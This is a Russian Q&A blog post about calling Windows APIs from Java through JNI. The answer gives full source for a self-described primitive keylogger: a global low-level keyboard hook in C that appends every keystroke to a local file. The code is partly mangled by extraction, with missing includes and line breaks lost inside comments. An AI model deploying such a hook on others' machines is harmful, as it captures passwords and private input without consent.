Страницы

Поиск по вопросам

вторник, 19 марта 2019 г.

Как подружить Java с системой через написание dll на C++

Окей. Как мне стало известно из изучения Java, что по сути Java не общается с самой операционной системой, она посылает запрос в JVM и обрабатывает его. Например получение Jav'ой доступу к принтеру. Но! Java не может получать доступ к регистру, автозапуску и прочим вещам. Окей я не буду вдаваться в подробности зачем, но просто есть необходимость.
Например у меня есть задача, определена точно ОС - Windows. И мне необходимо "хукать" нажатия клавиатуры, или производить эти нажатия самой программой. Я нашел решение - написание dll библиотеки на C++. Но как мне ее написать. Если мы пишем код на C++ подключая библиотеку windows.h для работы с winapi. И при этом скомпилированный этот код в виде библиотеки подрубаем в Java код. Ничего не потеряется?


Ответ

Из JVM есть несколько дверей в операционную систему - JNI, JNA и JNR. JNI (Java Native Interface) - самый старый и чаще всего используемый способ взаимодействия с нативным кодом. Его минус в том, что он требует от программиста знания C/C++ и хорошего понимания принципов работы виртуальной машины. JNA (Java Native Access) - это надстройка над JNI изолирующая программиста от низкоуровневых деталей за счёт использования рефлексии и libffi. А где рефлексия, там низкая производительность и высокое количество рантайм ошибок. В JNR (Java Native Runtime) рефлексию заменили генерацией байткода, что существенно увеличило производительность. Это относительно молодой проект, я в нём ещё не копался и сказать ничего не могу. А вот пример примитивного кейлогера с использованием JNI показать могу.
Snitch.java
import java.io.Closeable;
// Чтобы автоматически отключать хук при // завершении работы реализуем интерфейс Closeable public class Snitch implements Closeable { // Объявляем нативные методы private native boolean init(String filePath); private native void listen(); public native void close();
public Snitch(String filePath) throws IntializatonException { if (!init(filePath)) throw new IntializatonException(); }
public static void main(String[] args) { // Загружаем библиотеку реализующую // нативные методы System.loadLibrary("snitch");
// Передаём путь к логфайлу и ловим нажатия клавиш try (Snitch snitch = new Snitch("C:\\Temp\\keyboard.txt")) { snitch.listen(); } catch (IntializatonException exc) { System.err.println("Can't install hook!"); } } }
Компилируем командой javac -h . Snitch.java. Ключ -h указывает в каком каталоге создать заголовочный файл с определениями нативных методов.
snitch.c
#include #include #include #include "Snitch.h" // Заголовочный файл сгенерированный javac
FILE *fh; HINSTANCE hInstance = NULL; HHOOK hHook = NULL;
enum Keys { SHIFT = 16, CAPSLOCK = 20, };
BOOL APIENTRY DllMain(HINSTANCE instance, DWORD reason, LPVOID reserved) { switch(reason) { case DLL_PROCESS_ATTACH: hInstance = instance; break; default: break; } return TRUE; }
LRESULT CALLBACK kbdProc(int code, WPARAM wParam, LPARAM lParam) { if (wParam == WM_KEYUP) { KBDLLHOOKSTRUCT *kbdStruct = (KBDLLHOOKSTRUCT*) lParam; DWORD wVirtKey = kbdStruct->vkCode; DWORD wScanCode = kbdStruct->scanCode;
BYTE lpKeyState[256]; GetKeyboardState(lpKeyState); lpKeyState[SHIFT] = 0; lpKeyState[CAPSLOCK] = 0; if (GetKeyState(VK_LSHIFT) < 0 || GetKeyState(VK_RSHIFT) < 0) { lpKeyState[SHIFT] = 0x80; } if ((GetKeyState(VK_CAPITAL) & 1) == 1) { lpKeyState[CAPSLOCK] = 0x01; }
char result; ToAscii(wVirtKey, wScanCode, lpKeyState, (LPWORD)&result, 0); fprintf(fh, "%c", result); }
return CallNextHookEx(hHook, code, wParam, lParam); }
JNIEXPORT jboolean JNICALL Java_Snitch_init(JNIEnv* env, jobject obj, jstring filePath) { // Получаем указатель на массив символов строки const char *path = (*env)->GetStringUTFChars(env, filePath, NULL); if (path == NULL) return JNI_FALSE;
// Открываем логфайл if (!(fh = fopen(path, "a"))) return JNI_FALSE;
// Делаем строку доступной сборщику мусора (*env)->ReleaseStringUTFChars(env, filePath, path);
// Регистрируем хук if (!(hHook = SetWindowsHookEx(WH_KEYBOARD_LL, kbdProc, hInstance, 0))) return JNI_FALSE;
return JNI_TRUE; }
JNIEXPORT void JNICALL Java_Snitch_listen(JNIEnv* env, jobject obj) { MSG message; while(GetMessage(&message, NULL, 0, 0)) { TranslateMessage(&message); DispatchMessage(&message); } }
JNIEXPORT void JNICALL Java_Snitch_close(JNIEnv* env, jobject obj) { if (hHook) UnhookWindowsHookEx(hHook);
if (fh) fclose(fh); }
Компилируем c'шный исходник в snitch.dll, запускаем нашу программу командой java Snitch и убеждаемся, что в C:\Temp\keyboard.txt регистрируются нажатые клавиши.
Чуть более подробно о процессе компиляции и объявлениях JNI-методов можно посмотреть в другом моём ответе

Комментариев нет:

Отправить комментарий